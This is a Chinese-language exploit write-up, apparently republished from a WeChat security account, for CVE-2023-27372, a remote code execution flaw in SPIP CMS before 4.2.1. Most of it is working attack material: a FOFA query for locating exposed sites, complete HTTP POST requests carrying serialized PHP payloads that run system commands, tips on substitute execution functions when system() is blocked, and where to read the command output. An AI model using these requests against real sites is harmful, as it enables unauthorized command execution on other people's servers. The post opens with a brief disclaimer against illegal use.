勿要非法渗透,造成影响与本人无关
勿要非法渗透,造成影响与本人无关
漏洞描述:
SPIP Cms v4.2.1之前版本允许通过公共区域中的表单值远程执行代码,因为序列化处理不当。
漏洞分析:
漏洞存在与密码重置功能中(漏洞点位url:/spip.php?page=spip_pass),重置密码时 protege_champ()函数没有对序列化字符串进行过滤,从而触发命令执行漏洞。
影响版本:
SPIP < 4.2.1
FOFA语句:app="SPIP"
POC:
POST
/spip.php?page=spip_pass
HTTP/1.1
Host
: X.X.X.X
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 187
Connection
: close
Upgrade-Insecure-Requests
: 1
page
=spip_pass&formulaire_action=oubli&formulaire_action_args=CSRF_TOKEN&oubli=s:
19
:
"<?php phpinfo(); ?>"
;&nobot=
手工复现/EXP:
1、访问漏洞点位/spip.php?page=spip_pass,抓包。
2、写入Payload:
POST
/spip.php?page=spip_pass
HTTP/1.1
Host
: X.X.X.X
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 191
Connection
: close
Upgrade-Insecure-Requests
: 1
page
=spip_pass&formulaire_action=oubli&formulaire_action_args=vddAKneot4atQD1TvjNXeWCZAXZ
%2
Fmc78KUVqDMXGTGIAWtu18expARKt23XzSiOlVsHk4KlNZ4iObZ4
%3
D&oubli=s:23:
"<?php system('dir'); ?>"
;&nobot=
s:26:"<?php system(whoami); ?>";
Payload解释:s表示字符串格式,26表示Payload长度(冒号以内),如果禁用system(),可以使用shell_exec()、passthru()、proc_open()等等
命令执行成功后如下,只会显示前面部分(s:23:),后面命令部分转换成结果。如果整条命令回显表示不存在漏洞或 命令执行失败。
命令结果在"id='oubli'"
TIPS:
1、注意看清目标是什么系统,不一定只是Linux
2、命令执行失败:(1)看一下禁用函数。(2)更换命令执行函数。(3)字符原因。(4)系统环境问题。
3、响应包搜索id='oubli'就是命令执行的结果。
原文始发于微信公众号(YongYe 安全实验室):SPIP-Cms <4.2.1_CVE-2023-27372_序列化RCE__手工复现__两步Attack(POC/EXP)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论